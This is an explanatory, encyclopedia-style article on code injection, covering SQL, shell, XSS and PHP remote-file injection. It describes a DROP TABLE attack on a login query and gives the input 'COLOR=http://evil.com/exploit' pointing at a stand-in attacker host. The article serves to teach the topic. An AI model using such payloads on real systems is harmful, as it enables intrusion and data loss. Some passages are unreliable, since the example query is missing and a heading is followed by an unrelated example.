Code injection

Code injection is a computer security exploit where a program fails to correctly process external data, such as user input, causing it to interpret the data as executable commands. An attacker using this method "injects" code into the program while it is running. Successful exploitation of a code injection vulnerability can result in data breaches, access to restricted or critical computer systems, and the spread of malware.

Code injection vulnerabilities occur when an application sends untrusted data to an interpreter, which then executes the injected text as code. Injection flaws are often found in services like Structured Query Language (SQL) databases, Extensible Markup Language (XML) parsers, operating system commands, Simple Mail Transfer Protocol (SMTP) headers, and other program arguments. Injection flaws can be identified through source code examination, Static analysis, or dynamic testing methods such as fuzzing.

There are numerous types of code injection vulnerabilities, but most are errors in interpretation—they treat benign user input as code or fail to distinguish input from system commands. Many examples of interpretation errors can exist outside of computer science, such as the comedy routine "Who's on First?". Code injection can be used maliciously for many purposes, including:

• Arbitrarily modifying values in a database through SQL injection; the impact of this can range from website defacement to serious compromise of sensitive data. For more information, see Arbitrary code execution.
• Installing malware or executing malevolent code on a server by injecting server scripting code (such as PHP).
• Privilege escalation to either superuser permissions on UNIX by exploiting shell injection vulnerabilities in a binary file or to Local System privileges on Microsoft Windows by exploiting a service within Windows.
• Attacking web users with Hyper Text Markup Language (HTML) or Cross-Site Scripting (XSS) injection.

Code injections that target the Internet of Things could also lead to severe consequences such as data breaches and service disruption.

Code injections can occur on any type of program running with an interpreter. Doing this is trivial to most, and one of the primary reasons why server software is kept away from users. An example of how an injector can see code injection first-hand is to use their browser's developer tools.

Code injection vulnerabilities are recorded by the National Institute of Standards and Technology (NIST) in the National Vulnerability Database (NVD) as CWE-94. Code injection peaked in 2008 at 5.66% as a percentage of all recorded vulnerabilities.

An SQL injection attack takes advantage of SQL syntax to inject malicious commands that can read or modify a database or otherwise compromise the meaning of the original query.

For example, consider a web page that has two text fields which allow users to enter a username and a password to log in to the web site. The (hypothetical) web server code will receive the username and password parameters, and will generate an SQL query to check that the username exists and that the password is correct for that user. If the query returns any rows, then access is granted.

For example, if given the username alice and the password hunter2, the server will generate and run this query:

Because the ; symbol signifies the end of one statement, it is possible to begin a new statement — in this case, DROP TABLE. The symbol -- signifies the start of a comment, thus neutralizing the trailing ' that the server adds when generating the query syntax. As a result of these two statements, no rows will be returned (unless by chance the user Username has a blank password), and the entire UserList table will be deleted.

For database engines that extend SQL to allow queries to invoke external programs, the attacker could gain that capability as well.

Server-side template injection

The example expects a color to be provided, while attackers might provide COLOR=http://evil.com/exploit causing PHP to load the remote file.